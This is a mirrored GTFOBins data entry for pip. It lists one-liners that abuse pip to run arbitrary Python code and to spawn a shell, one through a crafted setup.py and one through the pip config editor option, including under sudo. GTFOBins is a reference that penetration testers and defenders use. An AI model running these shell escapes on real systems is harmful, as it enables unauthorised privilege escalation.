mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
28 lines
708 B
Plaintext
28 lines
708 B
Plaintext
---
|
|
functions:
|
|
inherit:
|
|
- code: |-
|
|
echo '...' >setup.py
|
|
pip install --break-system-packages .
|
|
comment: |-
|
|
This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`).
|
|
|
|
Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example:
|
|
|
|
```
|
|
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
|
|
```
|
|
|
|
The `--break-system-packages` flag can be omitted in older systems.
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
from: python
|
|
shell:
|
|
- code: |-
|
|
pip config --editor '/bin/sh -s' edit
|
|
contexts:
|
|
sudo:
|
|
unprivileged:
|
|
...
|